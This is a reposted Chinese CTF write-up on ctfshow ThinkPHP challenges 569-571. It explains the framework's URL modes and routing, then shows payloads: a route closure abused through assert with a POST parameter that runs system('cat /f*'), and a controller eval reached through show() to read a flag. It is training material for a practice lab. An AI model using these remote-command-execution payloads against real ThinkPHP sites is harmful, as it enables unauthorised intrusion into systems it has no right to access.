ICode9

精准搜索请尝试: 精确搜索
首页 > 编程语言> 文章详细

thinkphp 专题

2022-01-11 01:01:52  阅读:268  来源: 互联网

标签:专题 URL DB content ctfshow thinkphp 路由 user


thinkphp完全开发手册

https://www.kancloud.cn/manual/thinkphp/1678

569 pathinfo的运用

四种模式

1.普通模式也就是传统的GET传参方式来指定当前访问的模块和操作,例如: http://localhost/?m=home&c=user&a=login&var=value
m参数表示模块,c参数表示控制器,a参数表示操作(当然这些参数都是可以配置的),后面的表示其他GET参数。 

2.PATHINFO模式是系统的默认URL模式,提供了最好的SEO支持,系统内部已经做了环境的兼容处理,所以能够支持大多数的主机环境。对应上面的URL模式,PATHINFO模式下面的URL访问地址是: http://localhost/index.php/home/user/login/var/value/

3.REWRITE模式是在PATHINFO模式的基础上添加了重写规则的支持,可以去掉URL地址里面的入口文件index.php,但是需要额外配置WEB服务器的重写规则。接下来,就可以用下面的URL地址访问了: http://localhost/home/user/login/var/value

4.兼容模式是用于不支持PATHINFO的特殊环境,URL访问地址可以变成: http://localhost/?path=/home-user-login-var-value

payload:

url/index.php/Admin/Login/ctfshowLogin 

570 路由

路由规则的定义格式为: '路由表达式'=>'路由地址和传入参数'
或者:array('路由表达式','路由地址','传入参数')
匹配路由表达式从而达到****简化路径的作用
查看下载下来的config.php

<?php
return array(
    //'配置项'=>'配置值'
    'DB_TYPE'               =>  'mysql',     // 数据库类型
    'DB_HOST'               =>  '127.0.0.1', // 服务器地址
    'DB_NAME'               =>  'ctfshow',          // 数据库名
    'DB_USER'               =>  'root',      // 用户名
    'DB_PWD'                =>  'ctfshow',          // 密码
    'DB_PORT'               =>  '3306',        // 端口
    'URL_ROUTER_ON'   => true, 
    'URL_ROUTE_RULES' => array(
    'ctfshow/:f/:a' =>function($f,$a){
        call_user_func($f, $a);
        }
    )
);

存在ctfshow的路由
即URL为url/ctfshow/a/b 则会调用 call_user_func(a,b)

因为eval是一个语言结构而不是函数,所以这里是不能被call_user_func调用的,使用assert(system("ls"));尝试ls /时却不行,换下思路,
/ctfshow/assert/assert($_POST[1])
post: 1=system('cat /f*');

这里还有一个要注意的,那就是直接构造
/ctfshow/assert/$_POST[1]  是不行的,因为$_POST[1]不会被解析

571 控制器

查看下载的控制器文件

<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
    public function index($n=''){
        $this->show('<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} body{ background: #fff; font-family: "微软雅黑"; color: #333;font-size:24px} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.8em; font-size: 36px } a,a:hover{color:blue;}</style><div style="padding: 24px 48px;"> <h1>CTFshow</h1><p>thinkphp 专项训练</p><p>hello,'.$n.'黑客建立了控制器后门,你能找到吗</p>','utf-8');
    }

}

跟进show
 protected function show($content,$charset='',$contentType='',$prefix='') {
        $this->view->display('',$charset,$contentType,$content,$prefix);
    }

进入fetch
 // 页面缓存
        ob_start();
        ob_implicit_flush(0);
        if('php' == strtolower(C('TMPL_ENGINE_TYPE'))) { // 使用PHP原生模板
            $_content   =   $content;
            // 模板阵列变量分解成为独立变量
            extract($this->tVar, EXTR_OVERWRITE);
            // 直接载入PHP模板
            empty($_content)?include $templateFile:eval('?>'.$_content);
        }else{
            // 视图解析标签
            $params = array('var'=>$this->tVar,'file'=>$templateFile,'content'=>$content,'prefix'=>$prefix);
            Hook::listen('view_parse',$params);
        }

会直接eval('?>'.$_content);//可以进行命令执行

payload:

system("cat /flag*")

标签:专题,URL,DB,content,ctfshow,thinkphp,路由,user
来源: https://www.cnblogs.com/nov1ce/p/15786632.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有